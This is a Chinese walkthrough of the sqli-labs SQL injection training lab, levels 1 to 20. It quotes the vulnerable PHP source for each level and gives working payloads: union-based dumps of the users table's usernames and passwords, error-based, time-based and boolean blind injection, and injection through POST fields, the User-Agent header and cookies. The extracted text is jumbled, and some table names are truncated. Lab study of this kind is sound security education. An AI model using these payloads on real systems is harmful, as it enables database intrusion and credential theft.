sqli-lab 注⼊靶场全部通关教程(1-65关)
sqli-lab 注⼊靶场全部通关教程(1-65关)基础挑战
Less-1(四个注⼊:联合,报错,时间,布尔)
源码分析
联合查询注⼊1. 注⼊点发现2. 猜测字段数3. 判断会显点为(2,3)4. 爆出数据库和⽤户名
5. 爆出所有数据库名
6. 爆出  数据库的所有表
7. 查看  表的所有列名
8. 查看  和  列的内容
报错注⼊1. floor 报错注⼊
2. extractvalue 报错注⼊
3. updatexml 报错注⼊
时间盲注
数据库的第⼀个字母为115,即if(a,b,c):如果a 为真,则这个式⼦值为b ,否则为c 布尔盲注
数据库的第⼀个字母为115,即Less-2
源码分析
具体利⽤⽅法和第⼀关⼀样,只是闭合⽅式不⼀样,这⾥就不做叙述。⽰例:
Less-3
源码分析
具体利⽤⽅法和第⼀关⼀样,只是闭合⽅式不⼀样,这⾥就不做叙述。⽰例:
Less-4
源码分析
具体利⽤⽅法和第⼀关⼀样,只是闭合⽅式不⼀样,这⾥就不做叙述。⽰例:
Less-5
源码分析
因为页⾯不输出查询结果,因此不可以使⽤联合查询,但是不影响报错,布尔和时间注⼊。具体利⽤⽅法和第⼀关⼀样,只是闭合⽅式不⼀样,这⾥就不做叙述。⽰例:
请求⽅式注⼊类型
拼接⽅式GET
联合,报错,时间,布尔
id='$id'
# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
id=1' and '1'='2id=1' order by 3-- -id=-1' union select 1,2,3-- -id=-1' union select 1,user(),database()-- -id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+security id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3-- -users id=-1' union select 1,(select group_concat(column_name) from lumns where table_name='users'),3--+username password id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -id=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))-- -id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- -s
id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
s
id=1' and (ascii(substr(database(),1,1))>114)--+id=1' and (ascii(substr(database(),1,1))>115)--+
请求⽅式注⼊类型
拼接⽅式GET
联合,布尔,时间,报错
id=$id
# 数字型注⼊
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
id=1 and 1=1-- -
请求⽅式注⼊类型
拼接⽅式GET
联合,报错,时间,布尔
id=('$id')
id=1') and '1'='1'-- -
请求⽅式注⼊类型
拼接⽅式GET
联合,报错,时间,布尔
id=("$id")
id=1") and 1=1-- -
请求⽅式注⼊类型拼接⽅式GET
报错,时间,布尔
id='$id'
id=1' and 1=1-- -
Less-6
源码分析
因为页⾯不输出查询结果,因此不可以使⽤联合查询,但是不影响报错,布尔和时间注⼊。具体利⽤⽅法和第⼀关⼀样,只是闭合⽅式不⼀样,这⾥就不做叙述。⽰例:
Less-7
源码分析
因为把给注释掉了,并且页⾯不显⽰查询结果,所以只能使⽤布尔注⼊和时间注⼊具体利⽤⽅法和第⼀关⼀样,只是闭合⽅式不⼀样,这⾥就不做叙述。⽰例:
Less-8
源码分析
具体⽅式跟第7关⼀样,就不再啰嗦了,只是闭合⽅式不⼀样。利⽤⽅法同第⼀关⼀样。⽰例:
Less-9
源码分析
请求⽅式注⼊类型拼接⽅式GET
报错,时间,布尔
id="$id"
id=1" and 1=1-- -
请求⽅式注⼊类型拼接⽅式GET
时间,布尔
id=(('$id'))
print_r(mysql_error())id=1')) and 1=1-- -
请求⽅式注⼊类型拼接⽅式GET
时间,布尔
id='$id'
id=1' and 1=1-- -
请求⽅式注⼊类型拼接⽅式GET
时间
id='$id'
因为这⾥不管是还是的输出结果都⼀样,所以这⾥就不能⽤布尔注⼊了,只能使⽤时间注⼊。具体⽅式跟第8关⼀样,就不再啰嗦了。利⽤⽅法同第⼀关⼀样。
Less-10
源码分析
因为这⾥不管是还是的输出结果都⼀样,所以只能使⽤时间注⼊。并且给注释掉了,不能⽤报错。具体⽅式跟第9关⼀样,就不再啰嗦了,只是闭合⽅式不⼀样。利⽤⽅法同第⼀关⼀样。
Less-11
因为这⾥是POST 型注⼊,其实利⽤⽅式还是和第⼀关⼀样,但是这是⼀个POST 型的,后⾯我估计应该都是POST 型注⼊,所以还是写⼀写。
源码分析
联合查询注⼊1. 注⼊点发现
2. 猜测字段数为2
3. 判断会显点为(1,2)
4. 爆出数据库和⽤户名
5. 爆出所有数据库名
6. 爆出  数据库的所有表
7. 查看  表的所有列名
8. 查看  和  列的内容
报错注⼊1. floor 报错注⼊
2. extractvalue 报错注⼊
3. updatexml 报错注⼊
时间盲注
数据库的第⼀个字母为115,即if(a,b,c):如果a 为真,则这个式⼦值为b ,否则为c
布尔盲注
数据库的第⼀个字母为115,即Less-12
源码分析
这⾥同第11关的注⼊⽅式⼀样,只是闭合⽅式不同,这⾥就不再⽰范了。
Less-13
真假请求⽅式注⼊类型拼接⽅式GET
时间
id="$id"
真假print_r(mysql_error())请求⽅式注⼊类型
拼接⽅式
POST
联合,报错,布尔,时间
username='$uname' and password='$passwd'
uname=admin' or '1'='1&passwd=12&submit=Submit uname=admin&passwd=1' order by 2#&submit=Submit uname=admin&passwd=1' union select 1,2#&submit=Submit uname=admin&passwd=1' union select user(),database()#&submit=Submit uname=admin&passwd=1' union select (select group_concat(schema_name) from information_schema.schemata),2#&submit=Su
bmit security uname=admin&passwd=1' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#&submit=Submit users uname=admin&passwd=1' union select (select group_concat(column_name) from lumns where table_name='users'),2#&submit=Submit username password uname=admin&passwd=1' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#&submit=Submit
uname=admin&passwd=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=Submit uname=admin&passwd=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#&submit=Submit uname=admin&passwd=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#&submit=Submit
s
uname=admin' and if(ascii(substr(database(),1,1))>114,1,sleep(5))#&passwd=1&submit=Submit uname=admin' and if(ascii(substr(database(),1,1))>115,1,sleep(5))#&passwd=1&submit=Submit
s
uname=admin' and ascii(substr(database(),1,1))>114#&passwd=1&submit=Submit uname=admin' and ascii(substr(database(),1,1))>115#&passwd=1&submit=Submit
请求⽅式注⼊类型
拼接⽅式
POST
联合,报错,布尔,时间
username=("$uname") and password=("$passwd")
请求⽅式
注⼊类型
拼接⽅式
源码分析
这⾥因为页⾯不管成功与否没有了回显,所以联合查询就⽤不了,其他的不影响,布尔查询可以通过成功或者失败的图⽚不⼀样判别。这⾥同第11关的注⼊⽅式⼀样,只是闭合⽅式不同,这⾥就不再⽰范了。
Less-14
源码分析
第14关跟第13关除了闭合⽅式不⼀样,其他的完全⼀样的。利⽤⽅式也跟第11关⼀样,除了不能联合查询之外。
Less-15
源码分析
我们可以看到被注释了,所以这⾥我们不能⽤报错注⼊了,因为页⾯依然没有回显,联合注⼊也不能⽤。
这关只能⽤布尔注⼊和时间注⼊。跟第14关的区别就是闭合⽅式不⼀样,然后报错注⼊不能⽤了。具体利⽤⽅法同第11关有异曲同⼯之妙,灵活变通⼀下即可。
Less-16
源码分析
同第15关⼀样,只是闭合⽅式不⼀样。利⽤⽅法参考第11关,灵活变通⼀下即可。
Less-17
源码分析
报错注⼊⽰例:
其实还是同第11关的⽅法灵活变通⼀下即可!
Less-18
源码分析
POST
报错,布尔,时间username=('$uname') and password=('$passwd')
请求⽅式注⼊类型拼接⽅式
POST
注入报错,布尔,时间
username="$uname" and password="$passwd"
请求⽅式注⼊类型拼接⽅式
POST
布尔,时间
username='$uname' and password='$passwd'
print_r(mysql_error())请求⽅式注⼊类型拼接⽅式
POST
布尔,时间
username=("$uname") and password=("$passwd")
请求⽅式注⼊类型拼接⽅式POST
报错,时间
password = '$passwd'
# uname 参数进⾏了过滤
$uname=check_input($_POST['uname']);  //check_input 是代码写的⼀个过滤函数
# select 语句只查询了uname 参数,但是uname 被过滤了,没什么⽤
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";# update 语句查询了password 参数,只有这⾥存在注⼊点
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";# 然后我们看到这⾥使⽤了mysql 的报错语句,存在报错注⼊print_r(mysql_error());
uname=admin&passwd=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=Submit 请求⽅式注⼊类型拼接⽅式POST
报错,时间
VALUES ('$uagent')
# 获取请求的IP 和Uagent
$uagent = $_SERVER['HTTP_USER_AGENT'];$IP = $_SERVER['REMOTE_ADDR'];# ⽤户名和密码都被过滤了,没什么戏了⼤概$uname = check_input($_POST['uname']);$passwd = check_input($_POST['passwd']);
如果SQL 语句正确,就会执⾏下⾯的Insert 语句    //SQL 语句是判断正确的⽤户名和密码
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";#接下来我们看到了Insert 语句,它写⼊了uagent 和IP 到数据库中
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";接着输出:agent
输出:print_r(mysql_error());
这⼀关的注⼊点在Insert 语句上,没有对U-agent 和IP 做过滤,⽽且输出了mysql 的报错信息,所以本关⽀持报错注⼊。PHP 获取客户端IP 的变量有:
$_SERVER['REMOTE_ADDR']:基本上不能被伪造,因为是直接从 TCP 连接信息中获取的$_SERVER['HTTP_CLIENT_IP']:很少使⽤了,可以伪造$_SERVER['HTTP_X_FORWARDED_FOR']:可以伪造
所以这⾥的IP 是⽆法被伪造的,就只能通过uagent
来进⾏注⼊,我们构造闭合利⽤报错注⼊来测试
Less-19
源码分析
这⼀关跟第18关的区别就是,现在注⼊点变成了字段,注⼊⽅式是⼀模⼀样。同样没有对和做过滤。
Less-20
源码分析
这⼀关主要注⼊点是在cookie ,未对cookie 参数做过滤。并且在页⾯存在输出回显,⽽且运⽤了mysql 的报错函数,所以这关存在联合查询,报错,布尔和时间盲注。鉴于cookie 注⼊是第⼀次出现,还是啰嗦⼀下给个实例吧。
联合查询
报错注⼊
User-Agent:1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
请求⽅式注⼊类型拼接⽅式POST
报错,时间
VALUES ('$uagent')
Referer Referer IP 请求⽅式注⼊类型
拼接⽅式POST
联合,布尔,报错,时间
username='$cookee'
# 如果cookie 中不存在uname 参数,就会输出⼀堆⽆⽤的信息if(!isset($_COOKIE['uname'])) 输出⼀堆⽆⽤信息
# 然后判断uname 和passwd 是否存在,并进⾏过滤if(isset($_POST['uname']) && isset($_POST['passwd']))        $uname = check_input($_POST['uname']);        $passwd = check_input($_POST['passwd']);
# 查询username 和password 的值是否正确,并把username 赋值给cookie
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$cookee = $row1['username'];
# 最后通过这条SQL 语句直接将cookie 代⼊数据库中查询,没有过滤
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";# 把查询的值赋给result ,如果result 不存在,就会输出mysql 报错$result=mysql_query($sql);          if (!$result)          {
die('Issue with your mysql: ' . mysql_error());
mysql_error()Cookie: uname=admin' and 1=2 union select 1,2,(select group_concat(username,password) from users)#
Cookie: uname=admin' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。